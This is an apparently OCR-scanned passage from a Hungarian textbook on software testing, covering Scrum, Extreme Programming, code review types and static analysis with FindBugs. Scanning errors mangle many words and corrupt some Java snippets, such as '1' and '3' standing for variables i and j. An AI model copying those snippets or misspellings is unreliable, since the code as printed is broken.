Sprint Planning Meeting (futamtervez6 megbeszélés): Ezen a taldlkozén kell megbeszélni,
hogy ki mennyi munkat tud elvallalni, majd ennek tudatidban donti el a csapat, hogy mely
sztorikat vdllalja be a kovetkezd sprintre. Emellett a masik lIényeges dolog, hogy a csapat a
Product Owner-rel megbeszéli, majd teljes mértékben megérti, hogy a vevé mit szeretne az
adott sztoritdl, igy elkeriilhet6ek az esetleges félreértésekbsl adédd problémak. Ha volt
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Backlog Grooming, akkor nem tart olyan sokaig a Planning, ugyanis a csapat ismeri a Backlog-
ot, azon nem sziikséges finomitani, hacsak a megrendel6t8l nem érkezik ilyen igény. A
harmadik dolog, amit meg kell vizsgdlni, hogy a csapat hogyan teljesitett az el6z6 sprintben,
vagyis tulvallalta-e magdt vagy sem. Ha tul sok sztorit vallaltak el, akkor le kell vonni a
kovetkeztetést, és a kdvetkez6 sprintre kevesebbet vallalni. Ez a probléma leginkdbb az uj,
kevéssé Osszeszokott csapatokra jellemz8, ahol még nem tudni, hogy mennyi munkat bir
elvégezni a csapat. Ellenkez6 esetben, ha alulvallalta magat egy csapat, akkor
értelemszerlien tobbet vallaljon, illetve, ha idealis volt az el6z6 sprint, akkor hasonlé
mennyiség a javasolt.

Backlog Grooming/Backlog Refinement: A Product Backlog finomitdsa a Teammel egy(tt,
el6fordulhat példdul, hogy egy taszk tul nagy, igy story lesz bel6le, és utdna taszkokra bontva
lesz feldolgozva. Ha elmarad, akkor a Sprint Planning hosszura nyulhat, valamint abban is
nagy segitség, hogy a csapat tokéletesen megértse, hogy mit szeretne a megrendel6.

Daily Meeting/Daily Scrum: A sprint ideje alatt minden nap kell tartani egy rovid
megbeszélést, ami maximum 15 perc, és egy el6re megbeszélt id6pontban, a csapattagok és
a Scrum Master jelenlétében torténik (masok is ott lehetnek, de nem szdélhatnak bele).
Erdekesség, hogy nem szabad lelilni, mindenki all, ezzel is jelezve, hogy ez egy rovid
taldlkozé. Harom kérdésre kell valaszolnia a csapat tagjainak, ezek a kdvetkez6ek:

e Mit csindltal a tegnapi megbeszélés ota?
e Mit fogsz csindlni a kovetkezé megbeszélésig?
e Milyen akadalyokba (itkoztél az adott feladat megoldasa sordn?

Sprint Review Meeting (Futam dttekintés): Minden sprint végén 6sszelilnek a szerepl6k, és
megnézik, hogy melyek azok a sztorik, amelyeket sikerilt elkésziteni, illetve az megfelel-e a
kovetelményeknek. Ekkor a sztori allapotat készre allitjak. Fontos, hogy egy sztori csak akkor
kerllhet ebbe az allapotba, ha minden taszkja elkésziilt, és a Review-on elfogadtak. Ezen a
megrendel§ is jelen van.

Sprint Retrospective (Visszatekintés): Ez az egyik legfontosabb meeting. A Scrum egyik
legfontosabb funkcidja, hogy felszinre hozza azokat a problémakat, amelyek hatrdltatjak a
fejlesztéket a feladatmegolddsban, igy ha ezeket az akaddlyokat megoldjuk, a csapat jobban
tud majd alkalmazkodni a kdvetkez6 sprint alatt a feladathoz. Problémak a Daily Meetingen
is el6kerillnek, de ott inkabb a személyeket érint6 kérdések vannak napirenden, mig itt a
csapatmunka tovabbfejlesztése az elsédleges.

Termékek

Product Backlog (termék teendd lista): Ez az a dokumentum, ahol a Product Owner elhelyezi
azokat az elemeket, mds néven sztorikat, amelyeket el kell késziteni. Ez egyfajta
kivansaglista. A Product Owner minden sztorihoz prioritast, fontossagi sorrendet rendel, igy
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tudja szabdlyozni, hogy melyeket kell els6sorban elkésziteni, igy a Sprint Planning soran a
csapattagok lathatjak, hogy ami a Backlog-ban legfeliil van, azt szeretné a vevs leghamarabb
készen Iatni, annak van a legnagyobb Uzleti értéke. Emellett a csapatok sulyozzak az
elemeket aszerint, hogy melynek az elkészitéséhez kell a kevesebb munka, igy azonos
prioritdas mellett a kevesebb munkat igényl6 elemnek nagyobb a befektetés megtérilése
(Return of Investment, ROI). Az Uzleti érték meghatarozdsa a Product Owner, a munka
megbecslése a csapat feladata. A kett6 hanyadosa a ROI.

Sprint Backlog (futam teendd lista): Ebben a dokumentumban az aktudlis sprintre bevallalt
munkak, storyk vannak felsorolva, ezeket kell adott idén beliil a csapatnak megvaldsitania. A
sztorik tovabb vannak bontva taszkokra, és ezeket a taszkokat vallaljak el a tagok a Daily
Meeting sordn. Ez a feldarabolasa a feladatoknak a feladat minél jobb megértését segiti.

Burn down chart (Napi Eredmény Kimutatds): Ez egy diagram, amely segit megmutatni, hogy
az idedlis munkatempohoz képest hogyan halad a csapat az aktudlis sprinten beliil. Kbnnyen
leolvashaté réla, hogy a csapat éppen elakadt-e egy ponton, akdr arra is lehet kovetkeztetni,
hogy ilyen iramban kész lesz-e minden a sprint végére. Vagy éppen ellenkezéleg, sikerilt
felgyorsitani az iramot, és id6ben, vagy akar kicsit hamarabb is kész lehet a bevallalt munka.

2.4.6 Extrém programozas

Az extrém programozas (angolul: Extreme Programming, vagy roviden: XP) egy agilis
modszertan. A nevében az extrém sz6 onnan jon, hogy az eddigi modszertanokbdl atveszi a
jol bevdlt technikakat és azokat nem csak jol, hanem extrém jél alkalmazza, minden mast
feleslegesnek tekint. Gyakran 0Osszekeverik a ,programozzunk Osszeesésig” maddszerrel,
amivel egy-két 24 6ras vagy akdr 48 6ras programozo versenyen taldlkozhatunk.

Az extrém programozas 4 tevékenységet ir el6. Ezek a kovetkezG6k:

e Kobdolds: A forrdskéd a projekt legfontosabb terméke, ezért a kddolasra kell a
hangsulyt helyezni. Igazan kédolds kdzben jonnek ki a feladat nehézségei, hidba
gondoltuk azt at el6tte. A kod a legalkalmasabb a két programozdé kozotti
kommunikdaciéra, mivel azt nem lehet kétféleképpen érteni. A kod alkalmas a
programozo gondolatainak kifejezésére.

o Tesztelés: Addig nem lehetlink benne biztosak, hogy egy funkcié mikodik, amig nem
teszteltlik. Az extrém felfogds szerint kevés tesztelés kevés hibat talal, extrém sok
tesztelés megtaldlja mind. A tesztelés jatssza a dokumentdcié szerepét. Nem
dokumentdljuk a metédusokat, hanem unit-teszteket fejlesztiink hozzd. Nem
készitliink kovetelmény specifikdciét, hanem atvételi teszteseteket fejlesztiink a
megértett kovetelményekbdl.

e Odafigyelés: A fejleszt6knek oda kell figyelnilik a megrendelSkre, meg kell értenilik az
igényeiket. El kell magyardazni nekik, hogy hogyan lehet technikailag kivitelezni ezeket
az igényeket, és ha egy igény kivitelezhetetlen, ezt meg kell értetni a megrendelével.
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e Tervezés: Tervezés nélkiil nem lehet szoftvert fejleszteni, mert az ad- hoc megoldasok
atlathatatlan struktirahoz vezetnek. Mivel fel kell készilni az igények valtozasara,
ezért ugy kell megtervezni a szoftvert, hogy egyes komponensei amennyire csak lehet
fliggetlenek legyenek a tobbit6l. Ezért érdemes pl. objektum orientdlt tervezési
alapelveket hasznalni.

Néhany extrém programozasra jellemzé technika:

e Pdaros programozas (pair programming): Két programozo ir egy kddot, pontosabban
az egyik irja, a masik figyeli. Ha hibat Iat vagy nem érti, akkor azonnal szdl. A két
programozo folyamatosan megbeszélik hogyan érdemes megoldani az adott
problémat.

o Teszt vezérelt fejlesztés (test driven development): Mar a metddus elkészitése el6tt
megirjuk a hozza tartozd unit-teszteket. Ezt néha hivjak el6szor a teszt (test-first)
megkozelitésnek is.

e Forraskdéd atnézés (code review): Az elkésziilt nagyobb modulokat, pl. osztalyokat,
egy vezetd fejleszté atnézi, hogy van-e benne hiba, nem érthet6, nem dokumentalt
rész. A modul fejlesztGi elmagyardzzdk mit és miért csindltak. A vezet6 fejleszt6
elmondja, hogyan lehet ezt jobban, szebben csindlni.

e Folyamatos integracid (continuous integration): A nap (vagy a hét) végén, a
verziokovet6 rendszerbe bekerilt kodokat integracids teszt ala vetjik, hogy
kideriljon, hogy azok képesek-e egyiittmiikddni. igy nagyon kordn kisz(irhet§ a
programozok kozti félreértés.

o Koddszépités (refactoring): A mar letesztelt, miikods kddot lehet szépiteni, ami esetleg
lassu, rugalmatlan, vagy egyszerlien csak csunya. A kddszépités el6feltétele, hogy
legyen sok unit-teszt. A szépités soran nem szabad megvaltoztatni a kdéd
funkcionalitdsat, de a szerkezet, pl. egy metddus torzse, szabadon valtoztathatd. A
szépités utan minden unit-tesztet le kell futtatni, nem csak a megvaltozott kédhoz
tartozékat, hogy lassuk, a valtozasok okoztak-e hibat.
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Az extrém programozas akkor miikodik jol, ha a megrendeld biztositani tud egy munkatarsat,
aki atlatja a megrendel6 folyamatait, tudja, mire van sziikség. Ha a valtozo, vagy a menet
kozben kideritett kdvetelmények miatt gyakran at kell irni mar elkésziilt részeket, akkor az
extrém programozas nagyon rossz valasztds. Kezdd programozok esetén az extrém
programozas nem alkalmazhat6, mert nincs elég tapasztalatuk az extrém modszerek
alkalmazésahoz.

Az extrém programozds legnagyobb erénye, hogy olyan fejlesztési modszereket hozott a
felszinre, amik magas mindséget biztositanak. Ezek, mint pl. a paros programozas, nagyon
népszeriiek lettek.
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3 Statikus tesztelési technikak

A statikus tesztelési technikdk a szoftver forras koédjat vizsgaljak forditasi id6ben. Ide tartozik a
dokumentdcié felllvizsgdlata is. A statikus tesztelés pdrja a dinamikus tesztelés, amely a szoftvert
futdsidében teszteli.

A statikus tesztelési technikdknak két fajtaja van:
o felllvizsgdlat és
e statikus elemzés.

A felllvizsgalat a kéd, illetve a dokumentacio, vagy ezek egylttes manualis atnézését jelenti. Ide
tartozik példaul a pdros programozads. A statikus elemzés a kdd, illetve a dokumentacio
automatikus vizsgdlatat jelenti, ahol a statikus elemzést végz6 segédeszkdz megvizsgalja a kddot
(illetve a dokumentdciot), hogy bizonyos szabalyoknak megfelel-e. Ide tartozik példaul a helyesirds
ellené6rzés.

A statikus technikdval mas tipusu hibak taldlhatéak meg kdnnyen, mint a dinamikus tesztelési
technikakkal. Statikus technikakkal konnyen megtaldlhatéak azok a kéd sorok, ahol null
referencidn keresztlil akarunk metddust hivni. Ugyanezt elérni dinamikus teszteléssel nagyon
koltséges, hiszen 100%-os kdd lefedettség kell hozza. Ugyanakkor dinamikus teszteléssel konnyen
észrevehetd, hogy ha rossz képlet alapjan szamitjuk pl. az drengedményt. Ugyanezt statikusan
nehéz észrevenni, hacsak nincs egy szemfiiles vezetd programozénk, aki atlatja az Gzleti oldalt is.

A statikus tesztelési technikdk el6énye, hogy nagyon kordn alkalmazhatdak, mar akkor is, amikor
még nincs is futtathatd verzié. igy hamarabb lehet veliik hibakat taldlni és igy gazdasagosabb a
hibajavitas.

3.1 Feliilvizsgalat

A fellilvizsgalat azt jelenti, hogy manualisan atnézziik a forraskédot és fejben futtatjuk vagy
egyszerlen csak gyanus részeket keresiink benne. Ezzel szemben 4ll a statikus elemzés, ahol
szoftverekkel nézetjik at automatikusan a forraskddot. A felllvizsgalat fehérdobozos teszt, mivel
kell hozzd a forraskéd. A felilvizsgalat lehet informalis, pl. paros programozds, de akdr nagyon
formalis is, amikor a folyamatot jol dokumentaljuk, illetve a két szélséség kozti atmenetek.

Ezeket a hibakat konnyebb felllvizsgalattal megtalalni, mint mas technikakkal:
e szabvanyoktdl / kddolasi szabalyoktdl valo eltérések,
o kovetelményekkel kapcsolatos hibak, pl. nincs minden funkciondlis kdvetelményhez funkcio,
e tervezési hibak, pl. az adatbazis nincs harmadik normal-formaban,
e karbantarthatdsdg hidnya, pl. nincs biztonsagi mentés és visszaallitas funkcid,

e hibdas interfész-specifikaciok, pl. dokumentalatlan feltételezések.
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A fellilvizsgdlat legismertebb tipusai:
e informalis felllvizsgalat (csoporton beldli),
e atvizsgdlas (hazon beliili),
e technikai felllvizsgalat (kilsés szakérd bevondsaval rovid idejd),
e inspekcid (kiilsés szakéré bevonasaval hosszu idejl).

3.1.1 Informalis feliilvizsgalat

Sok szoftvercégnél elfogadott megoldas, hogy egy tapasztalt programozo atnézi (review) a kezdék
kodjat. A kezd6k a kritikdbdl rengeteg tapasztalatot szerezhetnek. A kockazatosnak itélt részeket
(pl. amire gyakran keril a vezérlés, vagy kevésbé ismert megoldast alkalmaz) tobb tapasztalt
programozo is atnézheti. Ennek hatékonysaga fligg az atnéz6k ratermettségétdl. Ez talan a
leginformalisabb megoldas.

Ehhez hasonlé a paros programozas (pair programming) is. Ekkor két programozé ir egy kddot,
pontosabban az egyik irja, a masik figyeli. Ha a figyel6 hibat lat vagy nem érti a kédot, akkor
azonnal szd6l. A két programozé folyamatosan megbeszéli, hogy hogyan érdemes megoldani az
adott problémat.

A kédszépités (refactoring) egy masik mddja a felllvizsgalatnak. llyenkor a mar letesztelt, m(ikddd
kddot lehet szépiteni, ami esetleg lassu, rugalmatlan, vagy egyszerlien csak cstinya. A kddszépités
el6feltétele, hogy legyen sok unit-teszt. A szépités sordn nem szabad megvaltoztatni a kéd
funkcionalitdsat, de a szerkezet, pl. egy metddus torzse, szabadon valtoztathatd. A szépités utan
minden unit-tesztet le kell futtatni, nem csak a megvaltozott kédhoz tartozdkat, hogy lassuk, a
valtozasok okoztak-e hibat. A kodszépitést a szerz6 és egy tapasztalt programozé végzi kézosen.

Az informalis felUlvizsgdlat legfébb jellemzéi:
e informalis, a fejleszt6 csapaton beliili fellilvizsgalat,
e kezdeményezheti a szerz6 vagy egy tapasztaltabb fejlesztd, ritkdn a menedzsment,

e hatékonysaga fligg az atnézd személyétdl, minél tapasztaltabb, anndl tobb hibat vehet
észre,

e célja a korai koltséghatékony hiba felderités.

3.1.2 Atvizsgalas

Ez mar kicsit formalisabb mddja a feliilvizsgalatnak. Altaldban a mddszertan el&irja, hogy az
elkészilt kisebb-nagyobb modulokat ismertetni kell a csapat tobbi tagjaval, a tobbi csapattal. Célja,
hogy a masok is atldssdk az altalunk irt kédrészletet (ez csokkenti a kart, amit egy programozé
elvesztése okozhat, ldsd kockdzat menedzsment), kritikai megjegyzéseikkel segitsék a kod
mindségének javitdsat. Aszerint, hogy hany embernek mutatjuk be az elkésziilt modult, ezekrdl
beszélhetiink:
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e vall feletti atnézés (over-the-shoulder review),
e forraskdd atnézés (code review),

o koéd atvétel (code acceptance review)

e korbekiildés (pass-around),

e csoportos atnézés (team review),

o fellilet 4tnézés (interface review),

o kéd prezentdlas (code presentation).

Vall feletti atnézés (over-the-shoulder review): Az egyik programozé egy ideje nézi sajat
forraskédjat, de nem taldlja a hibat. Valamelyik kollégajat megkéri, hogy segitsen. Mialatt
elmagyardzza a problémat, altaldban rd is jon a megolddsra. Ha mégsem, akkor a kolléganak lehet
egy j6 Otlete, hogy mi okozhatja a hibat. Altalaban ennyi elég is a hiba megtaldldsdhoz. Ha nem,
johet a forraskéd atnézés.

Forraskdd atnézés (code review): A kdéd irdja megkér egy tapasztalt programozét, hogy segitsen
megtalalni egy nehezen megtaldlhatd hibat. Egyitt nyomkovetik a programot, mikdzben a szerz6
magyarazza, mit miért csinalt. Ellenérzik, hogy a kéd megfelel-e a specifikacidnak. Ezt addig
fojtatjak, amig meg nem talaljak a hibat.

Koéd atvétel (code acceptance review): Az elkésziilt nagyobb modulokat, pl. osztalyokat, a vezetd
fejleszté vagy egy tapasztalt programozd atnézi, hogy van-e benne hiba, nem érthet6, nem
dokumentdlt rész. A modul fejlesztGi elmagyardzzak mit és miért csinaltak. A vezet6 fejleszt6
elmondja, hogyan lehet ezt jobban, szebben csindlni. Ha hibat talal (ez gyakran logikai hiba), akkor
arra rdmutat, vazolja a javitast.

Korbekildés (pass-around): A kéd szerz6je korbekildi az altala irt kodrészletet, ami akar egy egész
modul is lehet. A cimzettek véleményezik a kdédot, példaul megirjdk, melyik részét érdemes
tesztelni. A kdrbekiildés altalaban megel6zi a kod felvételét a verzidkdvets rendszerbe. Altaldban
csak akkor hasznaljak, ha egy kédrészlet kritikus fontossagu, pl. egy sokak altal haszndlt interfész.
Az intenziv kommunikaciét el6iré6 modszertanokra (pl. Scrum) nem jellemzé.

Csoportos atnézés (team review): A csoportos atnézés a korbekiildést helyettesiti. Itt is egy
érzékeny kodrészletet néznek at tobben, de interaktivan. A kédot a szerz6 prezentalja, sorrél sorra
magyarazza. Altaldban elvaras, hogy ha valaki valamit nem ért, azonnal széljon. A prezentacié
végén a vezet6 programozoé elmondja, szerinte mit lehetett volna jobban csindlni. Ehhez is gyakran
hozzaszélnak a tobbiek. Tobb mddszertan (pl. extrém programozds) limitalja ezen alkalmak
id6hosszat fél vagy egy oraban.

Fellilet atnézés (interface review): Hasonld a csoportos datnézéshez, de itt dltaldban tobb
embernek mutatjuk be azt az interfészt, amelyen keresztiil a csoportunk fejlesztése lesz elérhet6.
Ez azért fontos, hogy az egyes csoportok egyeztetni tudjak elvarasaikat egymas felé. Ezeket rogzitik
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és az integracids teszt sordn felhasznaljak.

Koéd prezentalds (code presentation): Hasonld a csoportos atnézéshez, de az érdekes kdédot nem a
csoporton beliil, hanem a cégen bellil mutatjuk be. Akkor gyakori, ha tobb telephelyen fejlesztik
ugyanazt a szoftvert. Nem feltétleniil az egész cég vesz részt benne, lehet, hogy csak harom ember,
de kénnyen el6fordulhat, hogy ezek mas-mads kontinensen vannak. A kdd prezentalds célja lehet
egy hiba bemutatasa, amit egy masik csapat talalt és megkéri a kdd tulajdonosat, hogy javitsa.
Madsik gyakori cél a csucs fejleszt6k 6sszehozdsa, hogy a keretrendszer tovabbfejlesztését
megbeszéljék.

Az atvizsgalas legf6bb jellemzéi:
e a moderator maga a szerzg, lehet jegyz6konyvvezet6 is, de az nem a szerz6,
e arésztvevlk a cég alkalmazottai, kils6 szakért6k nem jellemzéek,
e lehetinformalis és formdlis is, ha formalis, akkor van pl. jegyz6konyv,
e 3ltaldban a mddszertan irja el6 vagy a menedzsment kezdeményezi,

e a szerz6k jol felkésziilnek, pl. szemléltetd dbrdkat készitenek, a tobbi résztvevs atnézi a
kapcsolédd dokumentaciot,

o célja az elkészilt modulok ismertetése, megértések, azokban hibakeresés.

3.1.3 Technikai fellilvizsgalat

Technikai felllvizsgalatra altaldban akkor kerl sor, ha a szoftver teljesitményével nem vagyunk
elégedettek. Azt altaldban konnyl megtaldlni a felhasznaléi visszajelzések és ugynevezett profiler
programok segitségével, hogy mi az a szlik keresztmetszet (angolul: bottleneck), ami a lassusagot
okozza. Ugyanakkor az nagyon nehéz kérdés, hogyan oldjuk fel ezeket a sz(ik keresztmetszeteket.
Ha lenne egyszerl megoldas, akkor a programozok eleve azt haszndltdk volna, tehat ez altaldban a
szoftver cég alkalmazottainak tuddsat meghaladd probléma.

llyenkor kiilsé szakért6ket szoktak felkérni, hogy segitsenek. Leggyakrabban egy-egy lekérdezés
bizonyul tdl lassunak. llyenkor egy index hozzdaadds a tdbldhoz nagysagrendekkel gyorsitja a
lekérdezést. A kérdés mar csak az, mit indexeljink és hogyan. A kiils6s szakért6k atnézik a
megoldasunkat és javaslatokat adnak.

Mivel ez a fajta tandcsadas nagyon draga, ezért ez egy jol dokumentalt folyamat. A szoftvercég
leirja, hogy mi a probléma. Mind a cég alkalmazottai, mind a szakért6k felkésziilnek, atnézik a
dokumentdcidkat. A megbeszélést altaldban egy moderator vezeti, aki jegyz6kdnyvet is ir. A
moderdtor nem lehet a program iréja. A résztvev6k megbeszélik, hogy mi a probléma gyokere. A
szakért6k tobb megoldasi javaslatot is adnak. Kivalasztanak egy megoldast. Ezt vagy a szerzG, vagy
a szakérték implementaljak.

A technikai vizsgalat masik tipusa, amikor kilsé szakértSk azt ellenérzik, hogy a szoftver vagy a
dokumentdciéja megfelel-e az elbirt szabvanyoknak. Az ellenérzést nem a megrendelS, hanem a
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szoftver cég vagy a szabvany hitelesitését végz6 szervezet kezdeményezi. Pl. az emberi életre is
veszélyes (life-critical) rendszerek dokumentacidjara az IEC61508 szabvany vonatkozik. Ennek
betartdsa a cég érdeke, mert ha kideriil, hogy nem tartja be a szabvanyt, akkor a termékeit akar ki
is vonhatjak a piacrdél.

Akkor is ehhez a technikdhoz fordulnak, ha a szoftverben van egy hiba, amit nagyon nehéz
reprodukalni, és a szoftver cég sajat alkalmazottai nem tudjak megtaldlni (megtalalhatatlan hiba).
Ez tobbszalu vagy elosztott rendszereknél fordul altaldban el egy holtpont (deadlock) vagy
kiéheztetés (starvation) formajaban, de lehet ez egy memériaszivargds (memory lake) is. Ilyenkor a
szakért6é megmutatja, hogyan kell azt a statikus elemz6 szoftvert hasznalni, pl. egy holtpont
keres6t (deadlock checker), ami megtaldlja a hibas részt. Az igy feltart hibat altaldban mar a cég
szakemberei is javitani tudjak.

A technikai felllvizsgalat legf6bb jellemzéi:
e aszoftver cég kezdeményezi, ha kiils6 szakért6k bevonasara van sziiksége,
e moderator vezeti (nem a szerzG), jegyz6konyvet vezet,
e inkdbb formalis, mint informalis,
e ataldlkozd el6tt a résztvevdk felkésziilnek,
e opciondlisan ellen6rz6 lista haszndlata, amit a felek el6re elfogadnak,

e célja a megtaldlhatatlan hibak felderitése, vagy a szoftver lassusdgat okozé sz(ik
keresztmetszetek megsziintetés, vagy szabvanyok ellenérzése.

3.1.4 Inspekcid

Ez a legformdlisabb felllvizsgalat. Ezt is akkor haszndljuk, ha kils6 szakérté bevondsdra van
sziikséglink. A technikai fellilvizsgalattdl az kiilonbdzteti meg, hogy a szoftver cég és a szakért6t
ado cég részletesebb szerzédést kot, amely magaban foglalja:

e amegoldandé feladat leirdsat,

e azt a célfeltételt, ami a probléma megoldasaval el kell érni,
o 3 célfeltételben hasznalt metrikak leirasat,

e azinspekcids jelentés formajat.

Mig a technikai atnézésnél gyakran csak annyit kérlink a szakért6ktdl, hogy legyen sokkal gyorsabb
egy lekérdezés, az inspekcio esetén leirjuk pontosan, hogy milyen gyors legyen.

Az inspekcid sz6 abbdl jon, hogy a probléma megolddsahoz altaldban nem elég csak a szoftver egy
részét atvizsgdlni, hanem az egész forraskddot adatbdzissal egyiitt inspekcié ald kell vonni.
Inspekciét alkalmazunk akkor is, ha egy régi (esetleg mar nem tamogatott programozasi nyelven
irddott) kddot akarunk szépiteni / atirni, hogy ismét rugalmasan lehessen béviteni.
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Az inspektornak nagy tekintélyl szakembernek kell lennie, mert az altala javasolt valtoztatasok
altaldban nagyon fajoak, nehezen kivitelezhet6ek. Ha nincs meg a bizalom, hogy ezekkel a
valtoztatdsokkal el lehet érni a célt, akkor a fejleszté csapat ellenalldasan elbukhat a
kezdeményezés.

Az inspektort altaldban egy-két hénapig is a fejleszték rendelkezésére all szemben a technikai
felllvizsgalattal, amikor a szakért6k gyorsan, akdr néhdny 6ra alatt megoldjak a problémat. Ezért
ugyanannak a szakértének a napidija altaldban kisebb inspekcié esetén, mint technikai
felllvizsgalat esetén.

Az inspekcié lehet rovid tavu is (egy-két hetes), ha a szakért6re nincs sziikség a probléma
megolddsahoz, csak a feltdrdsahoz. Ekkor a szakért6 egy inspekcios jelentést ir, amely leirja,
hogyan kell megoldani a problémat. Ehhez 3ltaldban csatolni kell egy példa programot is, egy
ugynevezett PoC-kot (Proof of Concept), amely alapjan a cég sajat fejlesztbi is képesek megoldani
a problémat. A PoC-oknak demonstrdlnia kell, hogy a kivant metrika értékek elérhetéek a
segitségével.

Az inspekcio legf6bb jellemzéi:
e aszoftvercég kezdeményezi, ha hosszabb tdvon van sziiksége kils6 szakértére,

o részletes szerz6dés szabalyozza, ami a problémat, a célfeltételt és célban szerepld
metrikdkat is leirja,

e opciondlisan PoC-ok (Proof of Concept) készitése,
e inspekcids jelentés készitése,

o célja teljesitmény fokozds a szakért6 altal kivdldan ismert technoldgia segitségével vagy
elavult kod frissitése.

3.2 Statikus elemzés

A statikus elemzés fehérdobozos teszt, hiszen sziikséges hozza a forraskéd. Néhany esetben, pl.
holtpont ellenérzés, elegendé a leforditott koztes kdd (byte kéd). A statikus elemzés azért hasznos,
mert olyan hibakat fedez fel, amiket mds tesztelési eljarassal nehéz megtaldlni. Példaul kisz(irhetd
segitségével minden null referencia hivatkozas, ami az alkalmazas lefagydsahoz vezethet, ha benne
marad a programban. Az 6sszes null referencia hivatkozas kiszlrése dinamikus technikdkkal (pl.
komponens teszttel vagy rendszerteszttel) nagyon sok id6be telne, mert 100%-os kédlefedettséget
kellene elérniink.

A statikus elemzés azt hasznalja ki, hogy az ilyen tipikus hibdk leirhatdk egyszerl szabdlyokkal,
amiket egy egyszer(i kddelemz6 (parser) gyorsan tud elemezni. Példaul null referencia hivatkozas
akkor lehetséges, ha egy ,,a = null;” értékado utasitds és egy ,,a.akarmi;” hivatkozas kozt van olyan
végrehajtasi uat, ahol az ,a” referencia nem kap null-tél kilonboz6 értéket. Ugyan ezt lehet
dinamikus technikakkal is vizsgalni, de ahhoz annyi tesztesetet kell fejleszteni, ami minden
lehetséges végrehaijtasi utat tesztel az ,,a = null;” és az ,,a.akdrmi;” kozt.
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A forraskdd statikus elemzésnek két valtozata ismert, ezek:
e statikus elemzés csak a forraskdd alapjan,
e statikus elemzés a forraskdd és modell alapjan.
Ezen tul lehetséges a dokumentumok statikus elemzése is, de ezekre nem tériink ki.
A kovetkezd hiba tipusokat kdnnyebb statikus elemzéssel megtalalni, mint mds technikakkal:
e null referenciara hivatkozas,
e tombok tul vagy alul indexelése,
e nullaval vald osztas,
e lezaratlan adat folyam (unclosed stream),
e holtpontok (deadlock),
o kiéheztetés (starvation).

Az egyes eszkozok lehetnek specifikusak, mint pl. a holtpont keresdk, illetve altaldnosak, mint pl. a
FindBugs.

3.2.1 Statikus elemzés csak a forraskéd alapjan

Azok az elemz6k, amelyek csak a forraskédot haszndljdk fel az elemzéshez, azok nagyon hasznosak
olyan szempontbdl, hogy nem igényelnek plusz eréfeszitést a programozéktdl a specifikacio
megirasahoz. llyen eszkdz példaul a FindBugs. Ezeket az eszkdzoket csak bele kell illeszteni a
forditds folyamatdba. Ezutan a statikus elemzd felhivja a figyelmiinket a tipikus programozoi
hibdkra. Ezek altaldban programozasi nyelv specifikusak, de léteznek nyelv fliggetlenek, pl. a Sonar
vagy a Yasca rendszer, amelyek egy-egy plugin segitségével adaptalhatdak a kedvenc nyelviinkhoz.

Jelen jegyzetben a FindBugs haszndlatat fogjuk bemutatni Eclipse kornyezetben. El6szor telepiteni
kell a FindBugs plugint. Ehhez inditsuk el az Eclipse rendszert, majd valasszuk a Help -> Install New
Software... menit. A megjelend ablakban adjuk hozza a plugin forrasok listajahoz az alabbi linket
az Add gombbal: http://findbugs.cs.umd.edu/eclipse. Ezutan néhany Next gomb és a felhasznalasi

feltételek elfogaddsa utdn a rendszer elkezdi installalni a FindBugs plugint. Ez néhany percet vesz
igénybe, ami utdn Ujraindul az Eclipse. Ezutan mar hasznalhatjuk a FindBugs-t.

A haszndlatahoz valasszunk ki egy projektet, majd a helyi meniiben vdlasszuk a Find Bugs -> Find
Bugs meniit. Ez egyrészt megkeresi azokat a sorokat, amelyek valamilyen szabdlynak nem felelnek
meg, masrészt atvisz minket a FindBugs perspektivaba. Ha taldl hibakat, akkor ezeket bal oldalon
egy kicsi piros bogar ikonnal jelzi. Ha ezekre rdallunk vagy rakattintunk, akkor lathatjuk, milyen
tipusu hibat taldltunk. Ezekrél részletes informaciot is kérhetiink, ha a FindBugs perspektiva Bug
Explorer ablakdban kivalasztjuk valamelyiket.

Az egyes hibak ellendrzését ki/be lehet kapcsolni a projekt Properties ablakanak FindBugs panelén.
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Itt érdemes a Run atomatically opciét bekapcsolni. igy minden egyes mentésnél lefut a FindBugs.
Ebben az ablakban az is lathatd, melyik hiba ellen&rzése gyors, illetve melyik lassu. Példaul a null
referencidra hivatkozas ellenérzése lassu.

Nézziink néhany gyakori hibat, amit megtalal a FindBugs az alapbeallitasaival:

public int fact(int n) { return n*fact(n-1); }
Itt a ,, There is an apparent infinite recursive loop” figyelmeztetést kapjuk nagyon helyesen, hiszen

itt egy rekurziv figgvényt irtunk bazis feltétel nélkil, és igy semmi se allitja meg a rekurziét.

Integer 1 =1, 3 = 0;
if (i == j) System.out.println("ugyanaz");

Ebben a példaban a ,,Suspicious comparison of Integer references” figyelmeztetést kapjuk. Ez azért
van, mert referencidk egyenl6ségét ugyan tényleg a dupla egyenldségjellel kell vizsgdlni, de a
mogottik |évé tartalom egyenl6ségét az equals metddussal kell megvizsgalni. Tehdt ez egy
lehetséges hiba, amit érdemes a fejleszt6knek alaposan megnézni.

int i = 0;

i = i++;

System.out.println(i);

Itt tobb hibat is kapunk: ,Overwritten increment” és ,Self assignment of local variable”. Az els6
hiba arra utal, hogy hidba akartuk novelni az i valtozd értékét, az elvész. A masodik hiba azt fejezi
ki, hogy egy valtozét 6nmagdaval akarunk felilirni.

Nézziink olyan esetet is, aminél hibasan ad figyelmeztetést a FindBugs:

public static void main(String[] args) {
Object o = null;
int 1 = 1;
if(i == 1) o = "hello";
System.out.println(o.toString());
}

A fenti esetre a ,,Possible null pointer dereference of 0” hibat kapjuk, habar egyértelm(en latszik,
hogy az o értéket fog kapni, hiszen igaz az if utasitds feltétele. Ugyanakkor a FindBugs rendszer
nem képes kiszamolni a valtozék lehetséges értékeit az egyes dgakon, hiszen nem tartalmaz egy
automatikus tételbizonyitot. Ezzel szemben a kovetkezd alfejezetben targyalt ESC/Java2 eszkoz
képes erre, hiszen egy automatikus tételbizonyitéra épiil.

3.2.2 Statikus elemzés a forraskod és modell alapjan

Ebben az esetben a forraskdd mellett van egy modelliink is, ami leirja, hogyan kellene mikodnie a
programnak. A program viselkedése ilyen esetben el6- és utofeltételekkel, illetve invaridansokkal
van leirva. Ezt ugy érjuk el legkdnnyebben, hogy kontraktus alapu tervezést (design by contract)
haszndlunk. Ez esetben minden metdédusnak van egy kontraktusa, amely a metddus el6- és
utofeltételében olt testet. A szerz6dés kimondja, hogy ha a metddus hivdsa el6tt igaz az
el6feltétele, akkor a metddus lefutdsa utan igaznak kell lennie az utéfeltételének. Az invaridnsok
altaldban osztaly szintliek, leirjak az osztdly lehetséges belsd allapotait. A program viselkedését
legegyszer(ibben assert utasitasokkal irhatjuk le.
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Egy példa assert haszndlatara:

